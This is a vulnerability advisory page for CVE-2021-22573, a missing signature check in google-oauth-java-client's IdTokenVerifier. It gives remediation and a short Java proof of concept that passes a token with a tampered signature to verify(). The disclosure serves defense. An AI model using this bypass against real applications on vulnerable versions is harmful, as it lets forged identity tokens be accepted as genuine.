🛡️ CVE-2021-22573 — google-oauth-client

🟠 CVSS 8.0 — High ✅ No Known Exploit CWE-347 OSV
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

google-oauth-java-client improperly verifies cryptographic signature

Summary

The vulnerability impacts only users of the IdTokenVerifier class. The verify method in IdTokenVerifier does not validate the signature before verifying the claims (e.g., iss, aud, etc.). Signature verification makes sure that the token's payload comes from valid provider, not from someone else.

An attacker can provide a compromised token with modified payload like email or phone number. The token will pass the validation by the library. Once verified, modified payload can be used by the application.

If the application sends verified IdToken to other service as is like for auth - the risk is low, because the backend of the service is expected to check the signature and fail the request.

Reporter: [Tamjid al Rahat](https://github.com/tamjidrahat), contributor

Patches

The issue was fixed in the 1.33.3 version of the library

Proof of Concept

To reproduce, one needs to call the verify function with an IdToken instance that contains a malformed signature to successfully bypass the checks inside the verify function.

```

/** A default http transport factory for testing */

static class DefaultHttpTransportFactory implements HttpTransportFactory {

public HttpTransport create() {

return new NetHttpTransport();

}

}

// The below token has some modified bits in the signature

private static final String SERVICE_ACCOUNT_RS256_TOKEN_BAD_SIGNATURE =

"eyJhbGciOiJSUzI1NiIsImtpZCI6IjJlZjc3YjM4YTFiMDM3MDQ4NzA0MzkxNmFjYmYyN2Q3NG" +

"VkZDA4YjEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL2V4YW1wbGUuY29tL2F1ZGllbm" +

"NlIiwiZXhwIjoxNTg3NjMwNTQzLCJpYXQiOjE1ODc2MjY5NDMsImlzcyI6InNvbWUgaXNzdWVy" +

"Iiwic3ViIjoic29tZSBzdWJqZWN0In0.gGOQW0qQgs4jGUmCsgRV83RqsJLaEy89-ZOG6p1u0Y26" +

"FyY06b6Odgd7xXLsSTiiSnch62dl0Lfi9D0x2ByxvsGOCbovmBl2ZZ0zHr1wpc4N0XS9lMUq5RJ" +

"QbonDibxXG4nC2zroDfvD0h7i-L8KMXeJb9pYwW7LkmrM_YwYfJnWnZ4bpcsDjojmPeUBlACg7tjjOgBFby" +

"QZvUtaERJwSRlaWibvNjof7eCVfZChE0PwBpZc_cGqSqKXv544L4ttqdCnm0NjqrTATXwC4gYx" +

"ruevkjHfYI5ojcQmXoWDJJ0-_jzfyPE4MFFdCFgzLgnfIOwe5ve0MtquKuv2O0pgvg";

IdTokenVerifier tokenVerifier =

new IdTokenVerifier.Builder()

.setClock(clock)

.setCertificatesLocation("https://www.googleapis.com/robot/v1/metadata/x509/integration-tests%40chingor-test.iam.gserviceaccount.com")

.setHttpTransportFactory(new DefaultHttpTransportFactory())

.build();

// verification will return true despite modified signature for versions <1.33.3

tokenVerifier.verify(IdToken.parse(GsonFactory.getDefaultInstance(), SERVICE_ACCOUNT_RS256_TOKEN_BAD_SIGNATURE));

```

Remediation and Mitigation

Update to the version 1.33.3 or higher

If the library used indirectly or cannot be updated for any reason you can use similar IdToken verifiers provided by Google that already has signature verification. For example:

[google-auth-library-java](https://github.com/googleapis/google-auth-library-java/blob/main/oauth2_http/java/com/google/auth/oauth2/TokenVerifier.java)

[google-api-java-client](https://github.com/googleapis/google-api-java-client/blob/main/google-api-client/src/main/java/com/google/api/client/googleapis/auth/oauth2/GoogleIdTokenVerifier.java)

Timeline

Date reported: 12 Dec 2021

Date fixed: 13 Apr 2022

Date disclosed: 2 May 2022

For more information

If you have any questions or comments about this advisory:

  • Open an issue in the [google-oauth-java-client](https://github.com/googleapis/google-oauth-java-client) repo

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. A user must be tricked into taking some action. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability none.

Weakness class

CVE-2021-22573 is classified as CWE-347: Improper Verification of Cryptographic Signature. A signature is not checked correctly, so forged or modified content is accepted as genuine.

Affected software

CVE-2021-22573 is recorded against 1 package.

  • com.google.oauth-client:google-oauth-client (from 1.16.0-rc up to 1.33.3)

Timeline and source

Published on 9 April 2024 and last revised on 10 April 2024. No public exploit is currently recorded for this entry. Record sourced from OSV.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Web)
github.com (Package)

CVE-2021-22573 on other distributions

Each distribution ships its own build and its own fixed version. Pick the one you run:

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
CWE CWE-347
Public Exploit ✅ No
Source OSV
Published 2024-04-09
Updated 2026-08-12
Modified 2024-04-10
Fix URL N/A

Affected Packages

Software From version Fixed in
com.google.oauth-client:google-oauth-client 1.16.0-rc 1.33.3

Site Security Check

Is google-oauth-client part of your stack?

CVE-2021-22573 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.